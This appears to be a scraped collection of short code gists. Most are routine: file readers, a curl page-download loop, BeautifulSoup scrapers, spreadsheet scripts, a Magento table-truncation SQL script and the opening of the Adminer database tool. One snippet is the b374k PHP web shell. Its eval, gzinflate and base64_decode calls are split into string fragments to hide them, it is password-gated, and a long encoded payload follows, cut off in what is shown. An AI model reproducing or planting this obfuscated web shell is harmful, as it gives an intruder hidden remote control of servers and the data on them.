This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$handle = fopen("file.txt", "r"); | |
if ($handle) { | |
while (($line = fgets($handle)) !== false) { | |
// process the line read. | |
echo "Text Before - " . $line . " - Text After<br>"; | |
} | |
fclose($handle); | |
} else { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for i in {3142..3150} | |
do | |
curl -A 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12' -o $i.html http://targetsite.com/posts/$i/ | |
done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from bs4 import BeautifulSoup | |
import urllib | |
r = urllib.urlopen('http://192.168.1.64/test/120.html').read() | |
soup = BeautifulSoup(r) | |
title = soup.find("div", class_="row1 content conAddres").find("h3").string | |
author = soup.find("div", class_="row1 content conAddres").find("h4").find("a").string |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from bs4 import BeautifulSoup | |
import urllib | |
f = open('jan.csv','w') | |
for i in range(120,130): | |
openurl = 'http://192.168.1.64/demo/test/fold/'+str(i)+'.html' | |
r = urllib.urlopen(openurl).read() | |
soup = BeautifulSoup(r) | |
title = soup.find("div", class_="row1 content conAddres").find("h3").string |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- Amazon S3 --> | |
<link rel="dns-prefetch" href="//s3.amazonaws.com"> | |
<!-- Google CDN --> | |
<link rel="dns-prefetch" href="//ajax.googleapis.com"> | |
<!-- Microsoft CDN --> | |
<link rel="dns-prefetch" href="//ajax.microsoft.com"> | |
<link rel="dns-prefetch" href="//ajax.aspnetcdn.com"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import openpyxl | |
import csv | |
wb = openpyxl.load_workbook('test-file.xlsx') | |
#wb.get_sheet_names() | |
sheet = wb.get_sheet_by_name('Sheet1') | |
row_count = sheet.max_row |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def all_same(items): | |
return all(x == items[0] for x in items) | |
import openpyxl | |
import csv | |
wb = openpyxl.load_workbook('output_beautify.xlsx') | |
#wb.get_sheet_names() | |
sheet = wb.get_sheet_by_name('Sheet1') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SET FOREIGN_KEY_CHECKS=0; | |
TRUNCATE `sales_flat_creditmemo`; | |
TRUNCATE `sales_flat_creditmemo_comment`; | |
TRUNCATE `sales_flat_creditmemo_grid`; | |
TRUNCATE `sales_flat_creditmemo_item`; | |
TRUNCATE `sales_flat_invoice`; | |
TRUNCATE `sales_flat_invoice_comment`; | |
TRUNCATE `sales_flat_invoice_grid`; | |
TRUNCATE `sales_flat_invoice_item`; | |
TRUNCATE `sales_flat_order`; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$GLOBALS['pass'] = "942e0f7bfde2f60abed1034c320ea6b29bcc9b00"; // sha1(md5(pass)) | |
$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?>".gz'.'in'.'fla'.'te(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("7L3pmuM2sij430+hzlPTmXVUVaRWirar2pREat8parF78uMqUuImLtra/e4TABdRmcqqcrtPz517x/11loglAAQCgUAgIvDz31zdzb1r9Ud1pj/79dFylNBUnwPn2XRE5fHvuc850fPE89ODenJNx1O9hw+5h0D1LMMWTfRbPUT/yo59UL0AJSliIEqir6Lfhq056F9LNHBxWw2OjrdDSa7nyKrvq/7D+5/+9uVn1JMfrj3xVN8JPSjw+PdfH6USVd7h3jzownLteYMya1c3W2aqN2pnp0/rywm9aSrFk96tnI81gt8SI1WjgvFs1ip1j9u1sDwXNHNN2jLRP4Q7osfoVru2pd2BPp/XxFq13DjZk9KiovW5o9WraMay3BXok32mnVqrVMzzJ1ff+3RD2+qzfVNXDV9wtjuzLbWHcr85LFDtrtjauc12S1e4prsz7aVCiMOj2BpshMXGWTptwSoe9rtgURqz1q5JrKlGPZj1uKOwWo6WtcJR0QlrNbR0OjwXOwt7uO336gWZWVlsLy9tJ4vDqZd3PCZfc4wl3agTGqlYBXE31IQWa3u9ljggbLEidVfcoVuYbRSGExgt701bhzlN09Zu5XS5fqHqzuZm3TrnF925ELo83wrm1WWPbpujWbtV5g5HDobUaox6YUPnrGGju1d1tlXqkWxTCptWUM6T1cu0NJ2qAjWstFWpbhoeoV7WrCqo5NCqtAqn1nZMlLrqXiVC2vGEymW4D3eFU2kst/p9vtrdbcfhVqmZ3mw0tJuj4bKpsk06bzuLzspsbUu9Vt4n |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** Adminer - Compact database management | |
* @link https://www.adminer.org/ | |
* @author Jakub Vrana, https://www.vrana.cz/ | |
* @copyright 2007 Jakub Vrana | |
* @license http://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0 | |
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU General Public License, version 2 (one or other) | |
* @version 4.3.1 | |
*/error_reporting(6135);$qc=!preg_match('~^(unsafe_raw)?$~',ini_get("filter.default"));if($qc||ini_get("filter.default_flags")){foreach(array('_GET','_POST','_COOKIE','_SERVER')as$X){$Dg=filter_input_array(constant("INPUT$X"),FILTER_UNSAFE_RAW);if($Dg)$$X=$Dg;}}if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");if(isset($_GET["file"])){if($_SERVER["HTTP_IF_MODIFIED_SINCE"]){header("HTTP/1.1 304 Not Modified");exit;}header("Expires: ".gmdate("D, d M Y H:i:s",time()+365*24*60*60)." GMT");header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");header("Cache-Control: immutable");if($_GET["file"]=="favicon.ico"){header("Content-Type: imag |